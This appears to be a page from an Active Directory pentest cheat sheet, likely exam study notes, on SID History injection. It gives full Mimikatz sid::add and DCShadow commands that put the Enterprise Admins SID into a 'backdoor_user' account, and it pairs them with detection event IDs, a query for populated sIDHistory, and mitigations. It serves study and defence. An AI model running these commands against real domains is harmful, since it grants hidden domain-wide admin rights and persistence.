AD^:Active Directory

Attack #63 — SID History Injection

sIDHistory is an AD attribute designed for domain migrations — it preserves a user's old SID so they retain access to resources from a previous domain. An…

advancedupdated 2026-08-10Mimikatz · PowerShell

🟤 Attack #63 — SID History Injection


📖 How It Works

sIDHistory is an AD attribute designed for domain migrations — it preserves a user’s old SID so they retain access to resources from a previous domain. An attacker can inject the SID of a privileged group (e.g., Enterprise Admins, SID S-1-5-21-<domain>-519) into a normal user’s sIDHistory, granting them those privileges without actually being a member of the group.

This is typically done via Mimikatz sid::add or DCShadow.


⚙️ Prerequisites

RequirementDetail
Domain Admin / SYSTEM on DCRequired to modify sIDHistory
Or DCShadow capabilityAlternative injection method

💻 Full Commands

# ── Mimikatz — inject Enterprise Admin SID into user's SID History ───────────
mimikatz.exe
privilege::debug
sid::patch
sid::add /sam:backdoor_user /new:S-1-5-21-<domain_SID>-519
# 519 = Enterprise Admins
# 512 = Domain Admins
# 500 = Administrator RID

# ── Verify ────────────────────────────────────────────────────────────────────
Get-ADUser backdoor_user -Properties sIDHistory | Select sIDHistory

# ── DCShadow method (stealthier) ──────────────────────────────────────────────
# Terminal 1 (SYSTEM): lsadump::dcshadow /object:backdoor_user /attribute:sidHistory /value:S-1-5-21-...-519
# Terminal 2 (DA): lsadump::dcshadow /push

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4765Security Log (DC)SID History was added to an account
4766Security Log (DC)SID History add attempt failed
4738Security Log (DC)User account changed — sIDHistory modified

Detection tip: Query for users with sIDHistory populated: Get-ADUser -Filter {sIDHistory -like "*"} -Properties sIDHistory


🔗 Attack Chain Context

[SID History] ──→ Invisible Privilege Escalation via SID Injection
         │
         ├──→ 🔑 User appears normal but has hidden EA/DA privileges
         ├──→ 🔗 Used for: cross-domain trust abuse (#68), persistence
         └──→ 💀 Defeated by: audit sIDHistory, SID filtering on trusts, monitor 4765

✅ Attack #63 — SID History Injection complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.